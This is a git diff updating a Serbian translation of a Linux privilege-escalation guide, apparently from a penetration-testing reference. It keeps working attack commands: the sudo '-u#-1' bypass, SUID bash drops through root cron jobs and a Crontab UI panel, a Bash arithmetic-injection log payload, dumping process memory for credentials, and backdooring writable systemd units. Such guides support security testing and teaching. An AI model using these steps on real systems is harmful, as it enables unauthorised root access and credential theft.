diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 552edc3c9..b774c8622 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,38 +4,38 @@ ## Informacije o sistemu -### Informacije o OS-u +### OS info -Počnimo sa prikupljanjem osnovnih informacija o pokrenutom OS-u +Počnimo sa prikupljanjem informacija o pokrenutom OS-u ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Putanja +### Path -Ako **imate dozvole za pisanje u bilo kojem direktorijumu unutar promenljive `PATH`**, možda ćete moći da hijack-ujete neke biblioteke ili binarne fajlove: +Ako imate dozvole za upis u bilo koji folder unutar promenljive `PATH`, možda ćete moći da hijack neke libraries ili binaries: ```bash echo $PATH ``` ### Informacije o okruženju -Zanimljive informacije, lozinke ili API ključevi u promenljivama okruženja? +Zanimljive informacije, lozinke ili API ključevi u varijablama okruženja? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Proverite verziju kernela i da li postoji exploit koji se može iskoristiti za eskalaciju privilegija. +Proverite verziju kernela i da li postoji neki exploit koji se može iskoristiti za eskalaciju privilegija ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Možete pronaći dobar spisak ranjivih verzija kernela i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Možete pronaći dobar spisak ranjivih kernel verzija i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Drugi sajtovi na kojima možete pronaći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Da biste izvukli sve ranjive verzije kernela sa te web stranice možete uraditi: +Da biste izvukli sve ranjive kernel verzije sa te stranice možete uraditi: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ Alati koji mogu pomoći pri pretrazi kernel exploits su: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (izvršiti NA victim-u, proverava samo exploits za kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, samo proverava exploits za kernel 2.x) -Uvek **pretražite verziju kernela na Google-u**, možda je vaša verzija kernela navedena u nekom kernel exploit-u i tako ćete biti sigurni da je taj exploit validan. +Uvek **pretražite kernel verziju na Google-u**, možda je vaša kernel verzija navedena u nekom kernel exploit-u i tada ćete biti sigurni da je taj exploit validan. ### CVE-2016-5195 (DirtyCow) @@ -63,30 +63,30 @@ Na osnovu ranjivih verzija sudo koje se pojavljuju u: ```bash searchsploit sudo ``` -Možete proveriti da li je verzija sudo ranjiva koristeći ovaj grep. +Možete proveriti da li je sudo verzija ranjiva koristeći ovaj grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: potvrda potpisa nije uspela +### Dmesg verifikacija potpisa nije uspela -Pogledajte **smasher2 box of HTB** za **primer** kako bi se ova vuln mogla iskoristiti +Pogledajte **smasher2 box of HTB** za **primer** kako bi ovaj vuln mogao biti iskorišćen ```bash dmesg 2>/dev/null | grep "signature" ``` -### Detaljnija enumeracija sistema +### Više sistemske enumeracije ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Navedi moguće odbrane +## Navedite moguće odbrane ### AppArmor ```bash @@ -123,16 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Ako ste unutar docker container-a, možete pokušati da escape-ujete iz njega: +Ako se nalazite unutar docker container-a, možete pokušati da iz njega pobegnete: {{#ref}} docker-security/ {{#endref}} -## Pogoni +## Diskovi -Proverite **šta je mounted i šta je unmounted**, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite za privatne informacije +Proverite **šta je mounted i unmounted**, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite privatne informacije ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Korisni softver -Navedite korisne binarne datoteke +Nabroj korisne binarne datoteke ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Takođe, proveri da li je **instaliran bilo koji kompajler**. Ovo je korisno ako treba da koristiš neki kernel exploit, jer se preporučuje da ga kompajliraš na mašini na kojoj ćeš ga koristiti (ili na nekoj sličnoj). +Takođe, proverite da li je instaliran **bilo koji kompajler**. Ovo je korisno ako treba da koristite neki kernel exploit, jer se preporučuje da ga kompajlirate na mašini na kojoj ćete ga koristiti (ili na nekoj sličnoj) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Instaliran ranjiv softver -Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara verzija Nagios (na primer) koja bi se mogla iskoristiti za escalating privileges…\ -Preporučuje se ručno proveriti verzije sumnjivijeg instaliranog softvera. +Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara verzija Nagios-a (na primer) koja bi mogla da bude iskorišćena za escalating privileges…\ +Preporučuje se ručno proveriti verziju najsumnjivijeg instaliranog softvera. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastareli i ranjivi softver instaliran na mašini. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju aplikacije poput OpenVAS ili slične koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits_ +> [!NOTE] > _Imajte na umu da će ove komande prikazati puno informacija koje će većinom biti beskorisne, zato se preporučuje korišćenje aplikacija poput OpenVAS ili sličnih koje će proveriti da li je neka verzija instaliranog softvera ranjiva na poznate exploits_ -## Procesi +## Processes -Pogledajte **koji procesi** se izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebalo** (možda tomcat koji se izvršava kao root?) +Pogledajte **koji se procesi** izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebalo** (možda tomcat koji se izvršava kao root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Takođe **proveri svoje privilegije nad binarnim fajlovima procesa**, možda možeš prepisati neki. +Uvek proveri moguće [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra u komandnoj liniji procesa.\ +Takođe, **proveri svoje privilegije nad binarnim fajlovima procesa**, možda možeš prepisati tuđi. ### Process monitoring -Možeš koristiti alate kao što je [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti vrlo korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni uslovi. +Možeš koristiti alate kao što je [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti veoma korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni uslovi. ### Process memory Neki servisi na serveru čuvaju **credentials u čistom tekstu u memoriji**.\ -Obično će ti trebati **root privileges** da pročitaš memoriju procesa koji pripadaju drugim korisnicima, zato je ovo obično korisnije kada si već root i želiš da otkriješ još credentials.\ +Obično će ti trebati **root privileges** da pročitaš memoriju procesa koji pripadaju drugim korisnicima, zato je ovo obično korisnije kada si već root i želiš otkriti više credentials.\ Međutim, zapamti da **kao običan korisnik možeš čitati memoriju procesa koje poseduješ**. > [!WARNING] -> Imaj na umu da danas većina mašina **ne dozvoljava ptrace podrazumevano**, što znači da ne možeš dump-ovati druge procese koji pripadaju neprivilegovanom korisniku. +> Imaj na umu da većina mašina danas **po defaultu ne dozvoljava ptrace**, što znači da ne možeš dump-ovati druge procese koji pripadaju tvom neprivilegovanom korisniku. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Fajl _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupačnost ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: svi procesi mogu biti debugovani, ako imaju isti uid. Ovo je klasičan način na koji je ptracing radio. +> - **kernel.yama.ptrace_scope = 1**: samo parent process može biti debugovan. +> - **kernel.yama.ptrace_scope = 2**: Samo admin može koristiti ptrace, jer zahteva CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: Nijedan proces ne može biti traziran ptrace-om. Jednom postavljeno, potreban je reboot da bi se ptrace ponovo omogućio. #### GDB -Ako imaš pristup memoriji FTP servisa (na primer) možeš dohvatiti Heap i pretražiti u njemu njegove credentials. +Ako imaš pristup memoriji FTP servisa (na primer), možeš izvući Heap i pretražiti njegove credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati process ID, **maps prikazuju kako je memorija mapirana unutar** virtuelnog adresnog prostora tog procesa; takođe prikazuju **dozvole svake mapirane regije**. Pseudo fajl **mem** **otkriva samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske regije čitljive** i njihove offset-e. Koristimo ove informacije da se **pozicioniramo u mem fajl i iskopiramo sve čitljive regione** u fajl. +Za dati ID procesa, **maps pokazuju kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe pokazuju **dozvole svake mapirane regije**. Pseudo fajl **mem** **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje **regije memorije su čitljive** i njihove offsete. Koristimo ove informacije da **pozicioniramo se u mem fajlu i iskopiramo sve čitljive regije** u fajl. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` pruža pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Na virtuelni adresni prostor kernela može se pristupiti pomoću /dev/kmem.\ -Tipično, `/dev/mem` je čitljiv samo od strane **root** i grupe kmem. +`/dev/mem` obezbeđuje pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Virtuelni adresni prostor kernela može se pristupiti pomoću /dev/kmem.\ +Obično je `/dev/mem` čitljiv samo za **root** i **kmem** grupu. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump za Linux +### ProcDump for linux -ProcDump je Linux reinterpretacija klasičnog ProcDump alata iz Sysinternals skupa alata za Windows. Nabavite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump je Linux implementacija klasičnog alata ProcDump iz Sysinternals paketa alata za Windows. Dostupan je na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,35 +270,35 @@ Press Ctrl-C to end monitoring without terminating the process. Za dump memorije procesa možete koristiti: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i napraviti dump procesa koji je u vašem vlasništvu -- Script A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti zahteve za root i napraviti dump procesa koji je u vašem vlasništvu +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) -### Kredencijali iz memorije procesa +### Credentials from Process Memory #### Ručni primer -Ako otkrijete da je proces authenticator pokrenut: +Ako otkrijete da proces authenticator radi: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Možete dump the process (pogledajte prethodne sekcije da pronađete različite načine za dump the memory of a process) i search for credentials inside the memory: +Možete dump the process (pogledajte prethodne sekcije da biste pronašli različite načine za dump the memory of a process) i pretražiti credentials unutar memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti clear text credentials iz memorije** i iz nekih **dobro poznatih fajlova**. Potrebne su root privileges da bi ispravno radio. +Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti clear text credentials iz memorije** i iz nekih **poznatih fajlova**. Potrebne su root privilegije da bi ispravno radio. -| Funkcija | Ime procesa | +| Feature | Process Name | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (aktivne FTP konekcije) | vsftpd | +| Apache2 (aktivne HTTP Basic Auth sesije) | apache2 | +| OpenSSH (aktivne SSH sesije - korišćenje sudo) | sshd: | #### Pretraga Regex-ova/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,23 +314,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zakazani/Cron poslovi +## Zakazani/Cron zadaci ### Crontab UI (alseambusher) koji radi kao root – web-based scheduler privesc -Ako web “Crontab UI” panel (alseambusher/crontab-ui) radi kao root i vezan je samo za loopback, i dalje mu možete pristupiti preko SSH local port-forwarding i kreirati privilegovani job za eskalaciju. +Ako web panel “Crontab UI” (alseambusher/crontab-ui) radi kao root i vezan je samo na loopback, i dalje mu možete pristupiti preko SSH lokalnog prosljeđivanja portova (local port-forwarding) i kreirati privilegovani zadatak za eskalaciju. -Tipičan niz koraka -- Otkrivanje porta dostupnog samo na loopback-u (npr. 127.0.0.1:8000) i Basic-Auth realm pomoću `ss -ntlp` / `curl -v localhost:8000` -- Pronađi kredencijale u operativnim artefaktima: -- Backup-ovi/skripte sa `zip -P ` +Tipičan lanac +- Pronađite port dostupan samo na loopback-u (npr., 127.0.0.1:8000) i Basic-Auth realm pomoću `ss -ntlp` / `curl -v localhost:8000` +- Pronađite kredencijale u operativnim artefaktima: +- Backups/scripts with `zip -P ` - systemd unit koji izlaže `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` - Tunelovanje i prijava: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Kreiraj job sa visokim privilegijama i pokreni odmah (drops SUID shell): +- Kreiraj high-priv job i pokreni odmah (ostavlja SUID shell): ```bash # Name: escalate # Command: @@ -340,40 +340,42 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ```bash /tmp/rootshell -p # root shell ``` -Ojačavanje bezbednosti -- Ne pokrećite Crontab UI kao root; ograničite ga na poseban korisnički nalog i minimalne dozvole -- Bind to localhost i dodatno ograničite pristup preko firewall/VPN; ne koristite iste lozinke ponovo -- Izbegavajte ugrađivanje secrets u unit files; koristite secret stores ili root-only EnvironmentFile -- Omogućite audit/logging za izvršavanja zadataka na zahtev +Hardening +- Ne pokrećite Crontab UI kao root; ograničite ga na dedikovanog korisnika i minimalna prava +- Vežite na localhost i dodatno ograničite pristup putem firewall/VPN; ne koristite iste lozinke ponovo +- Izbegavajte ugrađivanje tajni u unit files; koristite secret stores ili root-only EnvironmentFile +- Omogućite audit/logging za izvršavanje job-ova po zahtevu -Proverite da li je neki zakazani zadatak ranjiv. Možda možete iskoristiti skriptu koja se izvršava kao root (wildcard vuln? možete li izmeniti fajlove koje root koristi? koristiti symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). + + +Proverite da li je neki zakazani job ranjiv. Možda možete iskoristiti skriptu koja se izvršava kao root (wildcard vuln? možete li modifikovati fajlove koje root koristi? use symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron putanja -Na primer, u _/etc/crontab_ možete naći PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na primer, u fajlu _/etc/crontab_ možeš pronaći PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Primetite da korisnik "user" ima prava za pisanje nad /home/user_) +(_Pogledaj kako korisnik "user" ima privilegije za pisanje nad /home/user_) -Ako u ovom crontab-u root pokuša da izvrši neku komandu ili skriptu bez podešavanja PATH-a. На пример: _\* \* \* \* root overwrite.sh_\ -Tada možete dobiti root shell koristeći: +Ako u ovom crontab fajlu root pokuša da izvrši neku komandu ili skript bez postavljanja PATH-a. Na primer: _\* \* \* \* root overwrite.sh_\ +Tada možeš dobiti root shell koristeći: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron koji pokreće skriptu sa wildcard-om (Wildcard Injection) -Ako se skripta izvršava kao root i sadrži “**\***” unutar komande, možete to iskoristiti da napravite neočekivane stvari (poput privesc). Primer: +Ako skripta koju izvršava root sadrži “**\***” u komandi, to možete iskoristiti za izvođenje neočekivanih stvari (poput privesc). Primer: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je wildcard prethodnik putanje kao što je** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** +**Ako se wildcard nalazi nakon putanje kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** -Read the following page for more wildcard exploitation tricks: +Pročitajte sledeću stranicu za više wildcard exploitation trikova: {{#ref}} @@ -383,9 +385,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Ako root cron/parser čita nepouzdana polja iz loga i ubacuje ih u an arithmetic context, napadač može ubaciti command substitution $(...) koji se izvršava kao root kada cron pokrene. -- Zašto ovo funkcioniše: U Bash-u, expansions se dešavaju u sledećem redosledu: parameter/variable expansion, command substitution, arithmetic expansion, zatim word splitting i pathname expansion. Dakle, vrednost kao `$(/bin/bash -c 'id > /tmp/pwn')0` se prvo zamenjuje (komanda se izvršava), a preostali numerički `0` se koristi za arithmetic tako da skripta nastavlja bez grešaka. +- Zašto funkcioniše: U Bash-u, expansions se dešavaju u sledećem redosledu: parameter/variable expansion, command substitution, arithmetic expansion, zatim word splitting i pathname expansion. Dakle vrednost kao `$(/bin/bash -c 'id > /tmp/pwn')0` se prvo substituted (pokreće komandu), zatim preostali numerički `0` se koristi za arithmetic pa skripta nastavlja bez grešaka. - Tipičan ranjiv obrazac: ```bash @@ -397,7 +399,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Eksploatacija: Ubacite u parsovani log tekst koji napadač kontroliše tako da polje koje liči na broj sadrži command substitution i završava cifrom. Pazite da vaša komanda ne ispisuje na stdout (ili je preusmerite) kako bi arithmetic ostao validan. +- Exploitation: Naterajte da tekst pod kontrolom napadača bude upisan u parsirani log tako da numeričko-polje sadrži command substitution i završava cifrom. Osigurajte da vaša komanda ne ispisuje na stdout (ili je preusmerite) kako bi arithmetic ostala validna. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -412,111 +414,111 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Ako script koji pokreće root koristi **direktorijum na koji imate potpuni pristup**, možda bi bilo korisno obrisati taj folder i **napraviti symlink ka drugom folderu** koji sadrži script pod vašom kontrolom +Ako skripta koju izvršava root koristi **direktorijum na koji imate potpuni pristup**, možda bi bilo korisno obrisati taj direktorijum i **kreirati symlink direktorijum ka drugom** koji će služiti skriptu kojom upravljate. ```bash ln -d -s ``` ### Česti cron jobs -Možeš da nadzireš procese da bi pronašao one koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možeš iskoristiti i escalate privileges. +Možete nadgledati procese da biste tražili procese koji se izvršavaju na svake 1, 2 ili 5 minuta. Možda možete iskoristiti to i escalate privileges. -Na primer, da bi **pratio svakih 0.1s tokom 1 minuta**, **sortirao po najmanje izvršenim komandama** i obrisao komande koje su se najviše izvršavale, možeš uraditi: +Na primer, da biste **nadgledali svakih 0.1s tokom 1 minute**, **sortirali po komandama koje su najmanje izvršavane** i obrisali komande koje su najviše izvršavane, možete uraditi: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će pratiti i ispisati svaki proces koji se pokrene). +**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i nabrojati svaki proces koji se pokrene). -### Invisible cron jobs +### Nevidljivi cron jobs -Moguće je kreirati cronjob **stavivši carriage return nakon komentara** (bez newline karaktera), i cron job će raditi. Primer (obratite pažnju na carriage return karakter): +Moguće je napraviti cronjob **stavljanjem carriage return-a nakon komentara** (bez znaka novog reda), i cron job će raditi. Primer (obratite pažnju na carriage return karakter): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servisi -### Upisive _.service_ datoteke +### Upisivi _.service_ files -Proverite da li možete upisati bilo koju `.service` datoteku, ako možete, možete je **izmeniti** tako da **izvršava** vaš **backdoor kada** se servis **pokrene**, **restartuje** ili **zaustavi** (možda ćete morati da sačekate dok se mašina ne restartuje).\ -Na primer, kreirajte svoj backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`** +Proverite da li možete da upišete bilo koji `.service` fajl, ako možete, vi **možete da ga izmenite** tako da **izvršava** vaš **backdoor kada** se servis **pokrene**, **restartuje** ili **zaustavi** (možda ćete morati da sačekate da se mašina restartuje).\ +Na primer, kreirajte vaš backdoor unutar .service fajla sa **`ExecStart=/tmp/script.sh`** -### Upisive binarne datoteke servisa +### Upisivi binarni fajlovi servisa -Imajte na umu da ako imate **prava za pisanje nad binarnim fajlovima koje pokreću servisi**, možete ih promeniti da sadrže backdoor, pa će kada se servisi ponovo budu izvršeni backdoor biti izvršen. +Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih promeniti u backdoors, tako da kada se servisi ponovo izvrše backdoors budu izvršeni. -### systemd PATH - Relativne putanje +### systemd PATH - Relative Paths -Možete videti PATH koji koristi **systemd** pomoću: +Možete videti PATH koji koristi **systemd** sa: ```bash systemctl show-environment ``` -Ako otkrijete da možete **pisati** u bilo kojem od direktorijuma na toj putanji, možda ćete moći **escalate privileges**. Treba da tražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao što su: +Ako otkrijete da možete **write** u bilo kojem od direktorijuma na putanji, možda ćete moći **escalate privileges**. Treba da tražite **relative paths being used on service configurations** u fajlovima kao što su: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Zatim, kreirajte **izvršni fajl** sa **istim imenom kao relativni put binarnog fajla** unutar systemd PATH foldera u koji možete pisati, i kada se od servisa zatraži izvršavanje ranjive akcije (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu startovati/stopirati servise, ali proverite da li možete koristiti `sudo -l`). +Zatim, kreirajte **izvršni fajl** sa **istim imenom kao relativni put binarnog fajla** unutar systemd PATH foldera u koji možete da pišete, i kada se servisu zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu da startuju/zaustave servise, ali proverite da li možete da koristite `sudo -l`). -**Saznajte više o servisima koristeći `man systemd.service`.** +**Saznajte više o servisima pomoću `man systemd.service`.** -## **Timeri** +## **Timers** -**Timeri** su systemd unit fajlovi čije ime se završava na `**.timer**` i koji kontrolišu `**.service**` fajlove ili događaje. **Timeri** se mogu koristiti kao alternativa cron-u, jer imaju ugrađenu podršku za događaje bazirane na kalendarskom vremenu i događaje bazirane na monotonom vremenu, i mogu se pokretati asinhrono. +**Timers** su systemd unit fajlovi čije ime se završava na `**.timer**` i koji kontrolišu `**.service**` fajlove ili događaje. **Timers** se mogu koristiti kao alternativa cron-u, pošto imaju ugrađenu podršku za događaje zasnovane na kalendarskom vremenu i za događaje zasnovane na monotoničkom vremenu, i mogu se pokretati asinhrono. Možete izlistati sve timere pomoću: ```bash systemctl list-timers --all ``` -### Upisivi tajmeri +### Tajmeri koji se mogu menjati -Ako možete izmeniti tajmer, možete ga naterati da pokrene postojeće systemd.unit (npr. `.service` ili `.target`) +Ako možete izmeniti tajmer, možete ga naterati da izvrši neke jedinice systemd.unit (kao što su `.service` ili `.target`). ```bash Unit=backdoor.service ``` U dokumentaciji možete pročitati šta je Unit: -> Jedinica koja se aktivira kada ovaj timer istekne. Argument je ime jedinice, čiji sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano pokazuje na service koji ima isto ime kao timer unit, osim sufiksa. (Vidi gore.) Preporučuje se da ime jedinice koja se aktivira i ime timer jedinice budu identični, osim sufiksa. +> Jedinica koja se aktivira kada ovaj timer istekne. Argument je naziv jedinice, čiji sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano upućuje na servis koji ima isto ime kao timer jedinica, osim sufiksa. (Vidi gore.) Preporučuje se da naziv jedinice koja se aktivira i naziv timer jedinice budu identični, osim sufiksa. -Dakle, da biste zloupotrebili ovu privilegiju potrebno je da: +Dakle, da biste zloupotrebili ovu privilegiju, morate: -- Pronađite neku systemd unit (kao `.service`) koja je **executing a writable binary** -- Pronađite neku systemd unit koja je **executing a relative path** i nad **systemd PATH** imate **writable privileges** (da imitujete taj executable) +- Pronaći neku systemd unit (npr. `.service`) koja **izvršava binarni fajl nad kojim imate prava za pisanje** +- Pronaći neku systemd unit koja **izvršava relativnu putanju** i nad kojom imate **prava za pisanje** u **systemd PATH** (da biste se predstavili kao taj izvršni fajl) -**Saznajte više o timerima pomoću `man systemd.timer`.** +**Saznajte više o timer-ima koristeći `man systemd.timer`.** -### **Omogućavanje Timera** +### **Omogućavanje tajmera** -Da 